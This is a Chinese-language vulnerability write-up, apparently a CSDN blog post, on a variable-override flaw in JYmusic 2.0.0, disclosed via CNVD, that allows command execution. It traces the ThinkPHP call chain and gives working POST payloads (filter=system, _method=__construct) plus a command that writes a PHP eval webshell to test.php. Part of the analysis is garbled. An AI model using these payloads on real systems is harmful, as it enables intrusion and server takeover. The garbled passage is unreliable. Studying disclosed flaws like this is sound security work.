JYmusic-2.0.0变量覆盖漏洞导致getshell

JYmusic-2.0.0变量覆盖漏洞导致getshell

目录

测试环境:windows + php5.4.45 + apache2(phpStudy集成环境)
使用工具:BurpSuite、 PhpStorm
漏洞描述:变量覆盖,导致可传入系统命令进行执行,通过系统命令可写入shell。
漏洞挖掘后提交了CNVD,在CNVD公示后,才发表本文。
CNVD-ID: CNVD-2019-06251

一、漏洞分析

通过危险函数反追踪找到漏洞。

  1. 危险函数
    /core/library/think/Request.php类中的filterValue函数中,使用了call_user_func函数。
    在这里插入图片描述通过构造使得$filter=system, $value=dir ,通过call_user_func函数即可执行系统命令” dir ”。

  2. array_walk_recursive函数
    /core/library/think/Request.php类中的input函数里调用了通过array_walk_recursive函数调用了filterValue函数。array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。
    在这里插入图片描述在这里插入图片描述

  3. input函数
    /core/library/think/Request.php中的param函数调用了input函数。
    在这里插入图片描述在这里插入图片描述

  4. exec 函数
    /core/library/think/App.php类中的exec 函数通过Request::instance()->param()调用了param函数。
    在这里插入图片描述

  5. run函数
    /core/library/think/App.php类中的run函数则调用了exec函数
    在这里插入图片描述传入的 d i s p a t c h 和 dispatch和 dispatchconfig两个参数分别来自于/core/library/think/App.php类中run函数里的:
    在这里插入图片描述在这里插入图片描述

  6. 变量覆盖
    /core/library/think/App.php类中run函数里,获取 d i s p a t c h 变 量 值 时 调 用 了 r o u t e C h e c k 函 数 。 r o u t e C h e c k 函 数 中 则 通 过 R o u t e : : c h e k c 调 用 了 c h e c k 函 数 。 / c o r e / l i b r a r y / t h i n k / R o u t e . p h p 类 中 , c h e c k 函 数 通 过 dispatch变量值时调用了routeCheck函数。 routeCheck函数中则通过Route::chekc调用了check函数。 /core/library/think/Route.php类中,check函数通过 dispatchrouteCheckrouteCheckRoute::chekccheck/core/library/think/Route.phpcheckrequest->method()调用了method函数。
    /core/library/think/Request.php类中,通过post参数_method=__construct调用构造函数:
    在这里插入图片描述在构造函数里用filter=system覆盖类中的filter变量。
    在这里插入图片描述post参数 method=GET 就是要再次调用method函数,并且使得if(true===$method)为真,从而获取 _SERVER[REQUEST_METHOD]=dir 这个参数值。
    在这里插入图片描述

  7. 调用入口
    /core/library/think/App.php类中的run函数,则是在index.php入口函数中调用。

二、 漏洞测试

  1. 拦截首页请求,Change request method修改请求方式为POST

  2. 参数:
    在这里插入图片描述POST的参数的作用已在漏洞分析环节分析。
    filter=system&_SERVER[REQUEST_METHOD]=dir&_method=__construct&method=GET
    POST参数后不能有\r\n回车换行,如果有就不能成功执行。
    POST /captcha HTTP/1.1 //请求一个验证码,引导程序的运行步骤。

  3. 写入shell
    在这里插入图片描述filter=system&_SERVER[REQUEST_METHOD]=echo “<?php @eval($_GET["test"]) ?>” >test.php&_method=__construct&method=GET

  4. phpinfo()
    在这里插入图片描述/test.php?test=phpinfo(); //末尾一定要跟一个“分号” “ ; ” ,如果没有则不能成功执行。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值